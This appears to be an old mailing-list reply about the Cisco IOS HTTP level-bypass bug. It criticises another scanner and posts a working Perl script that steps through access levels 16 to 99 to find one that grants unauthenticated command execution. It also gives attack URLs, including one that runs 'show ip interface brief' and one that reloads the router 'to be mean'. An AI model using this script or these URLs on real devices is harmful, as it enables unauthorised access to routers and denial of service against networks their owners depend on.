Hi,

This does not work! What does this tool do really??
I tried on several vulnerable routers but your tool gave errors
at random tries between 16 and 22 (couldnt pass 22)
It just passed the vulnerable levels without saying anything.
or gave access violation errors, lol it exploits itself!!
btw, I use w2k w/sp2
As i analyzed the traffic, i saw that you just copy-pasted the same
url from the advisory and made an incremental HTTP request.
Let's check it first:
--------------------
GET /level/24/exec/.... HTTP/1.0
Host: xxx.xxx.xxx.xxx
--------------------
But you forget smtg. I think Cisco put that four dots (....) because
there can be any IOS command issued. :)
or are you trying a directory traversal attack? :)
IMHO a valid query should be like:
/level/xx/exec/- (enuff for our test)
or
/level/xx/exec/-/sh/ip/interface/brief/CR
or
/level/xx/exec/-/reload/CR
to be mean.

I provide a working code below: (my first dayz at perl so do not
bother the code)
-------begin of working code------
#!/usr/bin/perl
# modified roelof's uni.pl
# to check cisco ios http auth bug
# cronos <cronos () olympos org>
use Socket;
print "enter IP (x.x.x.x): ";
$host= <STDIN>;
chop($host);
$i=16;
$port=80;
$target = inet_aton($host);
$flag=0;
LINE: while ($i<100) { 
# ------------- Sendraw - thanx RFP rfp () wiretrip net
my @results=sendraw("GET /level/".$i."/exec/- HTTP/1.0\r\n\r\n");
foreach $line (@results){
        $line=~ tr/A-Z/a-z/;
        if ($line =~ /http\/1\.0 401 unauthorized/) {$flag=1;}
        if ($line =~ /http\/1\.0 200 ok/) {$flag=0;}
} 
        if ($flag==1){print "Not Vulnerable with $i\n\r";}
                else {print "$line Vulnerable with $i\n\r"; last LINE; }
        $i++;
sub sendraw {
        my ($pstr)=@_;
        socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                die("Socket problems\n");
        if(connect(S,pack "SnA4x8",2,$port,$target)){
                my @in;
                select(S);      $|=1;   print $pstr;
                while(<S>){ push @in, $_;}
                select(STDOUT); close(S); return @in;
        } else { die("Can't connect...\n"); }
}
}
-------end of working code------
